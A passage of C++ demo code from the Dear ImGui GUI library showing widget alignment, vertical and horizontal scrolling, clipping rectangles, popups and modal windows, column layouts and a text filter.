// SmallButton() sets FramePadding to zero. Text baseline is aligned to match baseline of previous Button.
ImGui::Button("80x80", ImVec2(80, 80));
ImGui::SameLine();
ImGui::Button("50x50", ImVec2(50, 50));
ImGui::SameLine();
ImGui::Button("Button()");
ImGui::SameLine();
ImGui::SmallButton("SmallButton()");
// Tree
const float spacing = ImGui::GetStyle().ItemInnerSpacing.x;
ImGui::Button("Button##1");
ImGui::SameLine(0.0f, spacing);
if (ImGui::TreeNode("Node##1"))
{
// Placeholder tree data
for (int i = 0; i < 6; i++)
ImGui::BulletText("Item %d..", i);
ImGui::TreePop();
}
// Vertically align text node a bit lower so it'll be vertically centered with upcoming widget.
// Otherwise you can use SmallButton() (smaller fit).
ImGui::AlignTextToFramePadding();
// Common mistake to avoid: if we want to SameLine after TreeNode we need to do it before we add
// other contents below the node.
bool node_open = ImGui::TreeNode("Node##2");
ImGui::SameLine(0.0f, spacing); ImGui::Button("Button##2");
if (node_open)
{
// Placeholder tree data
for (int i = 0; i < 6; i++)
ImGui::BulletText("Item %d..", i);
ImGui::TreePop();
}
// Bullet
ImGui::Button("Button##3");
ImGui::SameLine(0.0f, spacing);
ImGui::BulletText("Bullet text");
ImGui::AlignTextToFramePadding();
ImGui::BulletText("Node");
ImGui::SameLine(0.0f, spacing); ImGui::Button("Button##4");
ImGui::Unindent();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Scrolling"))
{
// Vertical scroll functions
HelpMarker("Use SetScrollHereY() or SetScrollFromPosY() to scroll to a given vertical position.");
static int track_item = 50;
static bool enable_track = true;
static bool enable_extra_decorations = false;
static float scroll_to_off_px = 0.0f;
static float scroll_to_pos_px = 200.0f;
ImGui::Checkbox("Decoration", &enable_extra_decorations);
ImGui::Checkbox("Track", &enable_track);
ImGui::PushItemWidth(100);
ImGui::SameLine(140); enable_track |= ImGui::DragInt("##item", &track_item, 0.25f, 0, 99, "Item = %d");
bool scroll_to_off = ImGui::Button("Scroll Offset");
ImGui::SameLine(140); scroll_to_off |= ImGui::DragFloat("##off", &scroll_to_off_px, 1.00f, 0, FLT_MAX, "+%.0f px");
bool scroll_to_pos = ImGui::Button("Scroll To Pos");
ImGui::SameLine(140); scroll_to_pos |= ImGui::DragFloat("##pos", &scroll_to_pos_px, 1.00f, -10, FLT_MAX, "X/Y = %.0f px");
ImGui::PopItemWidth();
if (scroll_to_off || scroll_to_pos)
enable_track = false;
ImGuiStyle& style = ImGui::GetStyle();
float child_w = (ImGui::GetContentRegionAvail().x - 4 * style.ItemSpacing.x) / 5;
if (child_w < 1.0f)
child_w = 1.0f;
ImGui::PushID("##VerticalScrolling");
for (int i = 0; i < 5; i++)
{
if (i > 0) ImGui::SameLine();
ImGui::BeginGroup();
const char* names[] = { "Top", "25%", "Center", "75%", "Bottom" };
ImGui::TextUnformatted(names[i]);
const ImGuiWindowFlags child_flags = enable_extra_decorations ? ImGuiWindowFlags_MenuBar : 0;
const ImGuiID child_id = ImGui::GetID((void*)(intptr_t)i);
const bool child_is_visible = ImGui::BeginChild(child_id, ImVec2(child_w, 200.0f), true, child_flags);
if (ImGui::BeginMenuBar())
{
ImGui::TextUnformatted("abc");
ImGui::EndMenuBar();
}
if (scroll_to_off)
ImGui::SetScrollY(scroll_to_off_px);
if (scroll_to_pos)
ImGui::SetScrollFromPosY(ImGui::GetCursorStartPos().y + scroll_to_pos_px, i * 0.25f);
if (child_is_visible) // Avoid calling SetScrollHereY when running with culled items
{
for (int item = 0; item < 100; item++)
{
if (enable_track && item == track_item)
{
ImGui::TextColored(ImVec4(1, 1, 0, 1), "Item %d", item);
ImGui::SetScrollHereY(i * 0.25f); // 0.0f:top, 0.5f:center, 1.0f:bottom
}
else
{
ImGui::Text("Item %d", item);
}
}
}
float scroll_y = ImGui::GetScrollY();
float scroll_max_y = ImGui::GetScrollMaxY();
ImGui::EndChild();
ImGui::Text("%.0f/%.0f", scroll_y, scroll_max_y);
ImGui::EndGroup();
}
ImGui::PopID();
// Horizontal scroll functions
ImGui::Spacing();
HelpMarker(
"Use SetScrollHereX() or SetScrollFromPosX() to scroll to a given horizontal position.\n\n"
"Because the clipping rectangle of most window hides half worth of WindowPadding on the "
"left/right, using SetScrollFromPosX(+1) will usually result in clipped text whereas the "
"equivalent SetScrollFromPosY(+1) wouldn't.");
ImGui::PushID("##HorizontalScrolling");
for (int i = 0; i < 5; i++)
{
float child_height = ImGui::GetTextLineHeight() + style.ScrollbarSize + style.WindowPadding.y * 2.0f;
ImGuiWindowFlags child_flags = ImGuiWindowFlags_HorizontalScrollbar | (enable_extra_decorations ? ImGuiWindowFlags_AlwaysVerticalScrollbar : 0);
ImGuiID child_id = ImGui::GetID((void*)(intptr_t)i);
bool child_is_visible = ImGui::BeginChild(child_id, ImVec2(-100, child_height), true, child_flags);
if (scroll_to_off)
ImGui::SetScrollX(scroll_to_off_px);
if (scroll_to_pos)
ImGui::SetScrollFromPosX(ImGui::GetCursorStartPos().x + scroll_to_pos_px, i * 0.25f);
if (child_is_visible) // Avoid calling SetScrollHereY when running with culled items
{
for (int item = 0; item < 100; item++)
{
if (enable_track && item == track_item)
{
ImGui::TextColored(ImVec4(1, 1, 0, 1), "Item %d", item);
ImGui::SetScrollHereX(i * 0.25f); // 0.0f:left, 0.5f:center, 1.0f:right
}
else
{
ImGui::Text("Item %d", item);
}
ImGui::SameLine();
}
}
float scroll_x = ImGui::GetScrollX();
float scroll_max_x = ImGui::GetScrollMaxX();
ImGui::EndChild();
ImGui::SameLine();
const char* names[] = { "Left", "25%", "Center", "75%", "Right" };
ImGui::Text("%s\n%.0f/%.0f", names[i], scroll_x, scroll_max_x);
ImGui::Spacing();
}
ImGui::PopID();
// Miscellaneous Horizontal Scrolling Demo
HelpMarker(
"Horizontal scrolling for a window is enabled via the ImGuiWindowFlags_HorizontalScrollbar flag.\n\n"
"You may want to also explicitly specify content width by using SetNextWindowContentWidth() before Begin().");
static int lines = 7;
ImGui::SliderInt("Lines", &lines, 1, 15);
ImGui::PushStyleVar(ImGuiStyleVar_FrameRounding, 3.0f);
ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2.0f, 1.0f));
ImVec2 scrolling_child_size = ImVec2(0, ImGui::GetFrameHeightWithSpacing() * 7 + 30);
ImGui::BeginChild("scrolling", scrolling_child_size, true, ImGuiWindowFlags_HorizontalScrollbar);
for (int line = 0; line < lines; line++)
{
// Display random stuff. For the sake of this trivial demo we are using basic Button() + SameLine()
// If you want to create your own time line for a real application you may be better off manipulating
// the cursor position yourself, aka using SetCursorPos/SetCursorScreenPos to position the widgets
// yourself. You may also want to use the lower-level ImDrawList API.
int num_buttons = 10 + ((line & 1) ? line * 9 : line * 3);
for (int n = 0; n < num_buttons; n++)
{
if (n > 0) ImGui::SameLine();
ImGui::PushID(n + line * 1000);
char num_buf[16];
sprintf(num_buf, "%d", n);
const char* label = (!(n % 15)) ? "FizzBuzz" : (!(n % 3)) ? "Fizz" : (!(n % 5)) ? "Buzz" : num_buf;
float hue = n * 0.05f;
ImGui::PushStyleColor(ImGuiCol_Button, (ImVec4)ImColor::HSV(hue, 0.6f, 0.6f));
ImGui::PushStyleColor(ImGuiCol_ButtonHovered, (ImVec4)ImColor::HSV(hue, 0.7f, 0.7f));
ImGui::PushStyleColor(ImGuiCol_ButtonActive, (ImVec4)ImColor::HSV(hue, 0.8f, 0.8f));
ImGui::Button(label, ImVec2(40.0f + sinf((float)(line + n)) * 20.0f, 0.0f));
ImGui::PopStyleColor(3);
ImGui::PopID();
}
}
float scroll_x = ImGui::GetScrollX();
float scroll_max_x = ImGui::GetScrollMaxX();
ImGui::EndChild();
ImGui::PopStyleVar(2);
float scroll_x_delta = 0.0f;
ImGui::SmallButton("<<");
if (ImGui::IsItemActive())
scroll_x_delta = -ImGui::GetIO().DeltaTime * 1000.0f;
ImGui::SameLine();
ImGui::Text("Scroll from code"); ImGui::SameLine();
ImGui::SmallButton(">>");
if (ImGui::IsItemActive())
scroll_x_delta = +ImGui::GetIO().DeltaTime * 1000.0f;
ImGui::SameLine();
ImGui::Text("%.0f/%.0f", scroll_x, scroll_max_x);
if (scroll_x_delta != 0.0f)
{
// Demonstrate a trick: you can use Begin to set yourself in the context of another window
// (here we are already out of your child window)
ImGui::BeginChild("scrolling");
ImGui::SetScrollX(ImGui::GetScrollX() + scroll_x_delta);
ImGui::EndChild();
}
ImGui::Spacing();
static bool show_horizontal_contents_size_demo_window = false;
ImGui::Checkbox("Show Horizontal contents size demo window", &show_horizontal_contents_size_demo_window);
if (show_horizontal_contents_size_demo_window)
{
static bool show_h_scrollbar = true;
static bool show_button = true;
static bool show_tree_nodes = true;
static bool show_text_wrapped = false;
static bool show_columns = true;
static bool show_tab_bar = true;
static bool show_child = false;
static bool explicit_content_size = false;
static float contents_size_x = 300.0f;
if (explicit_content_size)
ImGui::SetNextWindowContentSize(ImVec2(contents_size_x, 0.0f));
ImGui::Begin("Horizontal contents size demo window", &show_horizontal_contents_size_demo_window, show_h_scrollbar ? ImGuiWindowFlags_HorizontalScrollbar : 0);
ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(2, 0));
ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2, 0));
HelpMarker("Test of different widgets react and impact the work rectangle growing when horizontal scrolling is enabled.\n\nUse 'Metrics->Tools->Show windows rectangles' to visualize rectangles.");
ImGui::Checkbox("H-scrollbar", &show_h_scrollbar);
ImGui::Checkbox("Button", &show_button); // Will grow contents size (unless explicitly overwritten)
ImGui::Checkbox("Tree nodes", &show_tree_nodes); // Will grow contents size and display highlight over full width
ImGui::Checkbox("Text wrapped", &show_text_wrapped);// Will grow and use contents size
ImGui::Checkbox("Columns", &show_columns); // Will use contents size
ImGui::Checkbox("Tab bar", &show_tab_bar); // Will use contents size
ImGui::Checkbox("Child", &show_child); // Will grow and use contents size
ImGui::Checkbox("Explicit content size", &explicit_content_size);
ImGui::Text("Scroll %.1f/%.1f %.1f/%.1f", ImGui::GetScrollX(), ImGui::GetScrollMaxX(), ImGui::GetScrollY(), ImGui::GetScrollMaxY());
if (explicit_content_size)
{
ImGui::SameLine();
ImGui::SetNextItemWidth(100);
ImGui::DragFloat("##csx", &contents_size_x);
ImVec2 p = ImGui::GetCursorScreenPos();
ImGui::GetWindowDrawList()->AddRectFilled(p, ImVec2(p.x + 10, p.y + 10), IM_COL32_WHITE);
ImGui::GetWindowDrawList()->AddRectFilled(ImVec2(p.x + contents_size_x - 10, p.y), ImVec2(p.x + contents_size_x, p.y + 10), IM_COL32_WHITE);
ImGui::Dummy(ImVec2(0, 10));
}
ImGui::PopStyleVar(2);
ImGui::Separator();
if (show_button)
{
ImGui::Button("this is a 300-wide button", ImVec2(300, 0));
}
if (show_tree_nodes)
{
bool open = true;
if (ImGui::TreeNode("this is a tree node"))
{
if (ImGui::TreeNode("another one of those tree node..."))
{
ImGui::Text("Some tree contents");
ImGui::TreePop();
}
ImGui::TreePop();
}
ImGui::CollapsingHeader("CollapsingHeader", &open);
}
if (show_text_wrapped)
{
ImGui::TextWrapped("This text should automatically wrap on the edge of the work rectangle.");
}
if (show_columns)
{
ImGui::Columns(4);
for (int n = 0; n < 4; n++)
{
ImGui::Text("Width %.2f", ImGui::GetColumnWidth());
ImGui::NextColumn();
}
ImGui::Columns(1);
}
if (show_tab_bar && ImGui::BeginTabBar("Hello"))
{
if (ImGui::BeginTabItem("OneOneOne")) { ImGui::EndTabItem(); }
if (ImGui::BeginTabItem("TwoTwoTwo")) { ImGui::EndTabItem(); }
if (ImGui::BeginTabItem("ThreeThreeThree")) { ImGui::EndTabItem(); }
if (ImGui::BeginTabItem("FourFourFour")) { ImGui::EndTabItem(); }
ImGui::EndTabBar();
}
if (show_child)
{
ImGui::BeginChild("child", ImVec2(0, 0), true);
ImGui::EndChild();
}
ImGui::End();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Clipping"))
{
static ImVec2 size(100.0f, 100.0f);
static ImVec2 offset(30.0f, 30.0f);
ImGui::DragFloat2("size", (float*)&size, 0.5f, 1.0f, 200.0f, "%.0f");
ImGui::TextWrapped("(Click and drag to scroll)");
for (int n = 0; n < 3; n++)
{
if (n > 0)
ImGui::SameLine();
ImGui::PushID(n);
ImGui::BeginGroup(); // Lock X position
ImGui::InvisibleButton("##empty", size);
if (ImGui::IsItemActive() && ImGui::IsMouseDragging(ImGuiMouseButton_Left))
{
offset.x += ImGui::GetIO().MouseDelta.x;
offset.y += ImGui::GetIO().MouseDelta.y;
}
const ImVec2 p0 = ImGui::GetItemRectMin();
const ImVec2 p1 = ImGui::GetItemRectMax();
const char* text_str = "Line 1 hello\nLine 2 clip me!";
const ImVec2 text_pos = ImVec2(p0.x + offset.x, p0.y + offset.y);
ImDrawList* draw_list = ImGui::GetWindowDrawList();
switch (n)
{
case 0:
HelpMarker(
"Using ImGui::PushClipRect():\n"
"Will alter ImGui hit-testing logic + ImDrawList rendering.\n"
"(use this if you want your clipping rectangle to affect interactions)");
ImGui::PushClipRect(p0, p1, true);
draw_list->AddRectFilled(p0, p1, IM_COL32(90, 90, 120, 255));
draw_list->AddText(text_pos, IM_COL32_WHITE, text_str);
ImGui::PopClipRect();
break;
case 1:
HelpMarker(
"Using ImDrawList::PushClipRect():\n"
"Will alter ImDrawList rendering only.\n"
"(use this as a shortcut if you are only using ImDrawList calls)");
draw_list->PushClipRect(p0, p1, true);
draw_list->AddRectFilled(p0, p1, IM_COL32(90, 90, 120, 255));
draw_list->AddText(text_pos, IM_COL32_WHITE, text_str);
draw_list->PopClipRect();
break;
case 2:
HelpMarker(
"Using ImDrawList::AddText() with a fine ClipRect:\n"
"Will alter only this specific ImDrawList::AddText() rendering.\n"
"(this is often used internally to avoid altering the clipping rectangle and minimize draw calls)");
ImVec4 clip_rect(p0.x, p0.y, p1.x, p1.y); // AddText() takes a ImVec4* here so let's convert.
draw_list->AddRectFilled(p0, p1, IM_COL32(90, 90, 120, 255));
draw_list->AddText(ImGui::GetFont(), ImGui::GetFontSize(), text_pos, IM_COL32_WHITE, text_str, NULL, 0.0f, &clip_rect);
break;
}
ImGui::EndGroup();
ImGui::PopID();
}
ImGui::TreePop();
}
}
static void ShowDemoWindowPopups()
{
if (!ImGui::CollapsingHeader("Popups & Modal windows"))
return;
// The properties of popups windows are:
// - They block normal mouse hovering detection outside them. (*)
// - Unless modal, they can be closed by clicking anywhere outside them, or by pressing ESCAPE.
// - Their visibility state (~bool) is held internally by Dear ImGui instead of being held by the programmer as
// we are used to with regular Begin() calls. User can manipulate the visibility state by calling OpenPopup().
// (*) One can use IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup) to bypass it and detect hovering even
// when normally blocked by a popup.
// Those three properties are connected. The library needs to hold their visibility state BECAUSE it can close
// popups at any time.
// Typical use for regular windows:
// bool my_tool_is_active = false; if (ImGui::Button("Open")) my_tool_is_active = true; [...] if (my_tool_is_active) Begin("My Tool", &my_tool_is_active) { [...] } End();
// Typical use for popups:
// if (ImGui::Button("Open")) ImGui::OpenPopup("MyPopup"); if (ImGui::BeginPopup("MyPopup") { [...] EndPopup(); }
// With popups we have to go through a library call (here OpenPopup) to manipulate the visibility state.
// This may be a bit confusing at first but it should quickly make sense. Follow on the examples below.
if (ImGui::TreeNode("Popups"))
{
ImGui::TextWrapped(
"When a popup is active, it inhibits interacting with windows that are behind the popup. "
"Clicking outside the popup closes it.");
static int selected_fish = -1;
const char* names[] = { "Bream", "Haddock", "Mackerel", "Pollock", "Tilefish" };
static bool toggles[] = { true, false, false, false, false };
// Simple selection popup (if you want to show the current selection inside the Button itself,
// you may want to build a string using the "###" operator to preserve a constant ID with a variable label)
if (ImGui::Button("Select.."))
ImGui::OpenPopup("my_select_popup");
ImGui::SameLine();
ImGui::TextUnformatted(selected_fish == -1 ? "<None>" : names[selected_fish]);
if (ImGui::BeginPopup("my_select_popup"))
{
ImGui::Text("Aquarium");
ImGui::Separator();
for (int i = 0; i < IM_ARRAYSIZE(names); i++)
if (ImGui::Selectable(names[i]))
selected_fish = i;
ImGui::EndPopup();
}
// Showing a menu with toggles
if (ImGui::Button("Toggle.."))
ImGui::OpenPopup("my_toggle_popup");
if (ImGui::BeginPopup("my_toggle_popup"))
{
for (int i = 0; i < IM_ARRAYSIZE(names); i++)
ImGui::MenuItem(names[i], "", &toggles[i]);
if (ImGui::BeginMenu("Sub-menu"))
{
ImGui::MenuItem("Click me");
ImGui::EndMenu();
}
ImGui::Separator();
ImGui::Text("Tooltip here");
if (ImGui::IsItemHovered())
ImGui::SetTooltip("I am a tooltip over a popup");
if (ImGui::Button("Stacked Popup"))
ImGui::OpenPopup("another popup");
if (ImGui::BeginPopup("another popup"))
{
for (int i = 0; i < IM_ARRAYSIZE(names); i++)
ImGui::MenuItem(names[i], "", &toggles[i]);
if (ImGui::BeginMenu("Sub-menu"))
{
ImGui::MenuItem("Click me");
if (ImGui::Button("Stacked Popup"))
ImGui::OpenPopup("another popup");
if (ImGui::BeginPopup("another popup"))
{
ImGui::Text("I am the last one here.");
ImGui::EndPopup();
}
ImGui::EndMenu();
}
ImGui::EndPopup();
}
ImGui::EndPopup();
}
// Call the more complete ShowExampleMenuFile which we use in various places of this demo
if (ImGui::Button("File Menu.."))
ImGui::OpenPopup("my_file_popup");
if (ImGui::BeginPopup("my_file_popup"))
{
ShowExampleMenuFile();
ImGui::EndPopup();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Context menus"))
{
// BeginPopupContextItem() is a helper to provide common/simple popup behavior of essentially doing:
// if (IsItemHovered() && IsMouseReleased(ImGuiMouseButton_Right))
// OpenPopup(id);
// return BeginPopup(id);
// For more advanced uses you may want to replicate and customize this code.
// See details in BeginPopupContextItem().
static float value = 0.5f;
ImGui::Text("Value = %.3f (<-- right-click here)", value);
if (ImGui::BeginPopupContextItem("item context menu"))
{
if (ImGui::Selectable("Set to zero")) value = 0.0f;
if (ImGui::Selectable("Set to PI")) value = 3.1415f;
ImGui::SetNextItemWidth(-1);
ImGui::DragFloat("##Value", &value, 0.1f, 0.0f, 0.0f);
ImGui::EndPopup();
}
// We can also use OpenPopupOnItemClick() which is the same as BeginPopupContextItem() but without the
// Begin() call. So here we will make it that clicking on the text field with the right mouse button (1)
// will toggle the visibility of the popup above.
ImGui::Text("(You can also right-click me to open the same popup as above.)");
ImGui::OpenPopupOnItemClick("item context menu", 1);
// When used after an item that has an ID (e.g.Button), we can skip providing an ID to BeginPopupContextItem().
// BeginPopupContextItem() will use the last item ID as the popup ID.
// In addition here, we want to include your editable label inside the button label.
// We use the ### operator to override the ID (read FAQ about ID for details)
static char name[32] = "Label1";
char buf[64];
sprintf(buf, "Button: %s###Button", name); // ### operator override ID ignoring the preceding label
ImGui::Button(buf);
if (ImGui::BeginPopupContextItem())
{
ImGui::Text("Edit name:");
ImGui::InputText("##edit", name, IM_ARRAYSIZE(name));
if (ImGui::Button("Close"))
ImGui::CloseCurrentPopup();
ImGui::EndPopup();
}
ImGui::SameLine(); ImGui::Text("(<-- right-click here)");
ImGui::TreePop();
}
if (ImGui::TreeNode("Modals"))
{
ImGui::TextWrapped("Modal windows are like popups but the user cannot close them by clicking outside.");
if (ImGui::Button("Delete.."))
ImGui::OpenPopup("Delete?");
// Always center this window when appearing
ImVec2 center(ImGui::GetIO().DisplaySize.x * 0.5f, ImGui::GetIO().DisplaySize.y * 0.5f);
ImGui::SetNextWindowPos(center, ImGuiCond_Appearing, ImVec2(0.5f, 0.5f));
if (ImGui::BeginPopupModal("Delete?", NULL, ImGuiWindowFlags_AlwaysAutoResize))
{
ImGui::Text("All those beautiful files will be deleted.\nThis operation cannot be undone!\n\n");
ImGui::Separator();
//static int unused_i = 0;
//ImGui::Combo("Combo", &unused_i, "Delete\0Delete harder\0");
static bool dont_ask_me_next_time = false;
ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(0, 0));
ImGui::Checkbox("Don't ask me next time", &dont_ask_me_next_time);
ImGui::PopStyleVar();
if (ImGui::Button("OK", ImVec2(120, 0))) { ImGui::CloseCurrentPopup(); }
ImGui::SetItemDefaultFocus();
ImGui::SameLine();
if (ImGui::Button("Cancel", ImVec2(120, 0))) { ImGui::CloseCurrentPopup(); }
ImGui::EndPopup();
}
if (ImGui::Button("Stacked modals.."))
ImGui::OpenPopup("Stacked 1");
if (ImGui::BeginPopupModal("Stacked 1", NULL, ImGuiWindowFlags_MenuBar))
{
if (ImGui::BeginMenuBar())
{
if (ImGui::BeginMenu("File"))
{
if (ImGui::MenuItem("Some menu item")) {}
ImGui::EndMenu();
}
ImGui::EndMenuBar();
}
ImGui::Text("Hello from Stacked The First\nUsing style.Colors[ImGuiCol_ModalWindowDimBg] behind it.");
// Testing behavior of widgets stacking their own regular popups over the modal.
static int item = 1;
static float color[4] = { 0.4f, 0.7f, 0.0f, 0.5f };
ImGui::Combo("Combo", &item, "aaaa\0bbbb\0cccc\0dddd\0eeee\0\0");
ImGui::ColorEdit4("color", color);
if (ImGui::Button("Add another modal.."))
ImGui::OpenPopup("Stacked 2");
// Also demonstrate passing a bool* to BeginPopupModal(), this will create a regular close button which
// will close the popup. Note that the visibility state of popups is owned by imgui, so the input value
// of the bool actually doesn't matter here.
bool unused_open = true;
if (ImGui::BeginPopupModal("Stacked 2", &unused_open))
{
ImGui::Text("Hello from Stacked The Second!");
if (ImGui::Button("Close"))
ImGui::CloseCurrentPopup();
ImGui::EndPopup();
}
if (ImGui::Button("Close"))
ImGui::CloseCurrentPopup();
ImGui::EndPopup();
}
ImGui::TreePop();
}
if (ImGui::TreeNode("Menus inside a regular window"))
{
ImGui::TextWrapped("Below we are testing adding menu items to a regular window. It's rather unusual but should work!");
ImGui::Separator();
// Note: As a quirk in this very specific example, we want to differentiate the parent of this menu from the
// parent of the various popup menus above. To do so we are encloding the items in a PushID()/PopID() block
// to make them two different menusets. If we don't, opening any popup above and hovering our menu here would
// open it. This is because once a menu is active, we allow to switch to a sibling menu by just hovering on it,
// which is the desired behavior for regular menus.
ImGui::PushID("foo");
ImGui::MenuItem("Menu item", "CTRL+M");
if (ImGui::BeginMenu("Menu inside a regular window"))
{
ShowExampleMenuFile();
ImGui::EndMenu();
}
ImGui::PopID();
ImGui::Separator();
ImGui::TreePop();
}
}
static void ShowDemoWindowColumns()
{
if (!ImGui::CollapsingHeader("Columns"))
return;
ImGui::PushID("Columns");
static bool disable_indent = false;
ImGui::Checkbox("Disable tree indentation", &disable_indent);
ImGui::SameLine();
HelpMarker("Disable the indenting of tree nodes so demo columns can use the full window width.");
if (disable_indent)
ImGui::PushStyleVar(ImGuiStyleVar_IndentSpacing, 0.0f);
// Basic columns
if (ImGui::TreeNode("Basic"))
{
ImGui::Text("Without border:");
ImGui::Columns(3, "mycolumns3", false); // 3-ways, no border
ImGui::Separator();
for (int n = 0; n < 14; n++)
{
char label[32];
sprintf(label, "Item %d", n);
if (ImGui::Selectable(label)) {}
//if (ImGui::Button(label, ImVec2(-FLT_MIN,0.0f))) {}
ImGui::NextColumn();
}
ImGui::Columns(1);
ImGui::Separator();
ImGui::Text("With border:");
ImGui::Columns(4, "mycolumns"); // 4-ways, with border
ImGui::Separator();
ImGui::Text("ID"); ImGui::NextColumn();
ImGui::Text("Name"); ImGui::NextColumn();
ImGui::Text("Path"); ImGui::NextColumn();
ImGui::Text("Hovered"); ImGui::NextColumn();
ImGui::Separator();
const char* names[3] = { "One", "Two", "Three" };
const char* paths[3] = { "/path/one", "/path/two", "/path/three" };
static int selected = -1;
for (int i = 0; i < 3; i++)
{
char label[32];
sprintf(label, "%04d", i);
if (ImGui::Selectable(label, selected == i, ImGuiSelectableFlags_SpanAllColumns))
selected = i;
bool hovered = ImGui::IsItemHovered();
ImGui::NextColumn();
ImGui::Text(names[i]); ImGui::NextColumn();
ImGui::Text(paths[i]); ImGui::NextColumn();
ImGui::Text("%d", hovered); ImGui::NextColumn();
}
ImGui::Columns(1);
ImGui::Separator();
ImGui::TreePop();
}
if (ImGui::TreeNode("Borders"))
{
// NB: Future columns API should allow automatic horizontal borders.
static bool h_borders = true;
static bool v_borders = true;
static int columns_count = 4;
const int lines_count = 3;
ImGui::SetNextItemWidth(ImGui::GetFontSize() * 8);
ImGui::DragInt("##columns_count", &columns_count, 0.1f, 2, 10, "%d columns");
if (columns_count < 2)
columns_count = 2;
ImGui::SameLine();
ImGui::Checkbox("horizontal", &h_borders);
ImGui::SameLine();
ImGui::Checkbox("vertical", &v_borders);
ImGui::Columns(columns_count, NULL, v_borders);
for (int i = 0; i < columns_count * lines_count; i++)
{
if (h_borders && ImGui::GetColumnIndex() == 0)
ImGui::Separator();
ImGui::Text("%c%c%c", 'a' + i, 'a' + i, 'a' + i);
ImGui::Text("Width %.2f", ImGui::GetColumnWidth());
ImGui::Text("Avail %.2f", ImGui::GetContentRegionAvail().x);
ImGui::Text("Offset %.2f", ImGui::GetColumnOffset());
ImGui::Text("Long text that is likely to clip");
ImGui::Button("Button", ImVec2(-FLT_MIN, 0.0f));
ImGui::NextColumn();
}
ImGui::Columns(1);
if (h_borders)
ImGui::Separator();
ImGui::TreePop();
}
// Create multiple items in a same cell before switching to next column
if (ImGui::TreeNode("Mixed items"))
{
ImGui::Columns(3, "mixed");
ImGui::Separator();
ImGui::Text("Hello");
ImGui::Button("Banana");
ImGui::NextColumn();
ImGui::Text("ImGui");
ImGui::Button("Apple");
static float foo = 1.0f;
ImGui::InputFloat("red", &foo, 0.05f, 0, "%.3f");
ImGui::Text("An extra line here.");
ImGui::NextColumn();
ImGui::Text("Sailor");
ImGui::Button("Corniflower");
static float bar = 1.0f;
ImGui::InputFloat("blue", &bar, 0.05f, 0, "%.3f");
ImGui::NextColumn();
if (ImGui::CollapsingHeader("Category A")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn();
if (ImGui::CollapsingHeader("Category B")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn();
if (ImGui::CollapsingHeader("Category C")) { ImGui::Text("Blah blah blah"); } ImGui::NextColumn();
ImGui::Columns(1);
ImGui::Separator();
ImGui::TreePop();
}
// Word wrapping
if (ImGui::TreeNode("Word-wrapping"))
{
ImGui::Columns(2, "word-wrapping");
ImGui::Separator();
ImGui::TextWrapped("The quick brown fox jumps over the lazy dog.");
ImGui::TextWrapped("Hello Left");
ImGui::NextColumn();
ImGui::TextWrapped("The quick brown fox jumps over the lazy dog.");
ImGui::TextWrapped("Hello Right");
ImGui::Columns(1);
ImGui::Separator();
ImGui::TreePop();
}
// Scrolling columns
/*
if (ImGui::TreeNode("Vertical Scrolling"))
{
ImGui::BeginChild("##header", ImVec2(0, ImGui::GetTextLineHeightWithSpacing()+ImGui::GetStyle().ItemSpacing.y));
ImGui::Columns(3);
ImGui::Text("ID"); ImGui::NextColumn();
ImGui::Text("Name"); ImGui::NextColumn();
ImGui::Text("Path"); ImGui::NextColumn();
ImGui::Columns(1);
ImGui::Separator();
ImGui::EndChild();
ImGui::BeginChild("##scrollingregion", ImVec2(0, 60));
ImGui::Columns(3);
for (int i = 0; i < 10; i++)
{
ImGui::Text("%04d", i); ImGui::NextColumn();
ImGui::Text("Foobar"); ImGui::NextColumn();
ImGui::Text("/path/foobar/%04d/", i); ImGui::NextColumn();
}
ImGui::Columns(1);
ImGui::EndChild();
ImGui::TreePop();
}
*/
if (ImGui::TreeNode("Horizontal Scrolling"))
{
ImGui::SetNextWindowContentSize(ImVec2(1500.0f, 0.0f));
ImVec2 child_size = ImVec2(0, ImGui::GetFontSize() * 20.0f);
ImGui::BeginChild("##ScrollingRegion", child_size, false, ImGuiWindowFlags_HorizontalScrollbar);
ImGui::Columns(10);
int ITEMS_COUNT = 2000;
ImGuiListClipper clipper(ITEMS_COUNT); // Also demonstrate using the clipper for large list
while (clipper.Step())
{
for (int i = clipper.DisplayStart; i < clipper.DisplayEnd; i++)
for (int j = 0; j < 10; j++)
{
ImGui::Text("Line %d Column %d...", i, j);
ImGui::NextColumn();
}
}
ImGui::Columns(1);
ImGui::EndChild();
ImGui::TreePop();
}
if (ImGui::TreeNode("Tree"))
{
ImGui::Columns(2, "tree", true);
for (int x = 0; x < 3; x++)
{
bool open1 = ImGui::TreeNode((void*)(intptr_t)x, "Node%d", x);
ImGui::NextColumn();
ImGui::Text("Node contents");
ImGui::NextColumn();
if (open1)
{
for (int y = 0; y < 3; y++)
{
bool open2 = ImGui::TreeNode((void*)(intptr_t)y, "Node%d.%d", x, y);
ImGui::NextColumn();
ImGui::Text("Node contents");
if (open2)
{
ImGui::Text("Even more contents");
if (ImGui::TreeNode("Tree in column"))
{
ImGui::Text("The quick brown fox jumps over the lazy dog");
ImGui::TreePop();
}
}
ImGui::NextColumn();
if (open2)
ImGui::TreePop();
}
ImGui::TreePop();
}
}
ImGui::Columns(1);
ImGui::TreePop();
}
if (disable_indent)
ImGui::PopStyleVar();
ImGui::PopID();
}
static void ShowDemoWindowMisc()
{
if (ImGui::CollapsingHeader("Filtering"))
{
// Helper class to easy setup a text filter.
// You may want to implement a more feature-full filtering scheme in your own application.
static ImGuiTextFilter filter;
ImGui::Text("Filter usage:\n"
" \"\" display all lines\n"
" \"xxx\" display lines containing \"xxx\"\n"
" \"xxx,yyy\" display lines containing \"xxx\" or \"yyy\"\n"
" \"-xxx\" hide lines containing \"xxx\"");
filter.Draw();
const char* lines[] = { "aaa1.c", "bbb1.c", "ccc1.c", "aaa2.cpp", "bbb2.cpp", "ccc2.cpp", "abc.h", "hello, world" };
for (int i = 0; i < IM_ARRAYSIZE(lines); i++)
if (filter.PassFilter(lines[i]))
ImGui::BulletText("%s", lines[i]);
}
if (ImGui::CollapsingHeader("Inputs, Navigation & Focus"))
{
